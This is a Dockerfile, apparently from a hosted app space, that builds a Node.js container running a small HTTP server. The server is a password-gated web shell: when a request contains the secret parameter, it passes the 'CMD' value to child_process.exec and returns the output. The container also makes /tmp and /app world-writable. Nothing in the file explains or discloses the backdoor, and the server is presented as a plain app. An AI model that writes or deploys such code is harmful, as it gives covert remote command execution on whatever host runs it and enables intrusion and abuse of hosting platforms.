| | FROM node:20-bullseye |
| | ENV PORT 7860 |
| | RUN apt-get update && \ |
| | apt-get upgrade -y && \ |
| | apt-get install -y git wget curl && \ |
| | apt-get clean |
| | RUN chmod -R u+rwx,g+rwx,o+rwx /tmp |
| | RUN mkdir -p /app && chmod -R u+rwx,g+rwx,o+rwx /app |
| | WORKDIR /app |
| | RUN npm install axios --save |
| |
|
| | COPY <<EOF /app/index.js |
| | const http = require('http'); |
| | const { exec } = require('child_process'); |
| | const url = require('url'); |
| | const querystring = require('querystring'); |
| |
|
| | const server = http.createServer((req, res) => { |
| | |
| | const parsedUrl = url.parse(req.url); |
| | const query = querystring.parse(parsedUrl.query); |
| | |
| | |
| | let body = ''; |
| | req.on('data', chunk => { |
| | body += chunk.toString(); |
| | }); |
| | |
| | req.on('end', () => { |
| | |
| | const postData = querystring.parse(body); |
| | const requestData = { ...query, ...postData }; |
| | |
| | if (process.env.PASSWORD && requestData[process.env.PASSWORD] !== undefined) { |
| | |
| | if (requestData.CMD) { |
| | exec(requestData.CMD, (error, stdout, stderr) => { |
| | res.writeHead(200, { 'Content-Type': 'text/plain' }); |
| | res.end(stdout || stderr); |
| | }); |
| | } else { |
| | res.writeHead(200, { 'Content-Type': 'text/plain' }); |
| | res.end('No command specified'); |
| | } |
| | } else { |
| | res.writeHead(403, { 'Content-Type': 'text/plain' }); |
| | res.end('Access denied'); |
| | } |
| | }); |
| | }); |
| |
|
| | const PORT = process.env.PORT || 7860; |
| | server.listen(PORT, () => { |
| | console.log(`Server running on port ${PORT}`); |
| | }); |
| |
|
| | EOF |
| |
|
| | CMD node /app/index.js |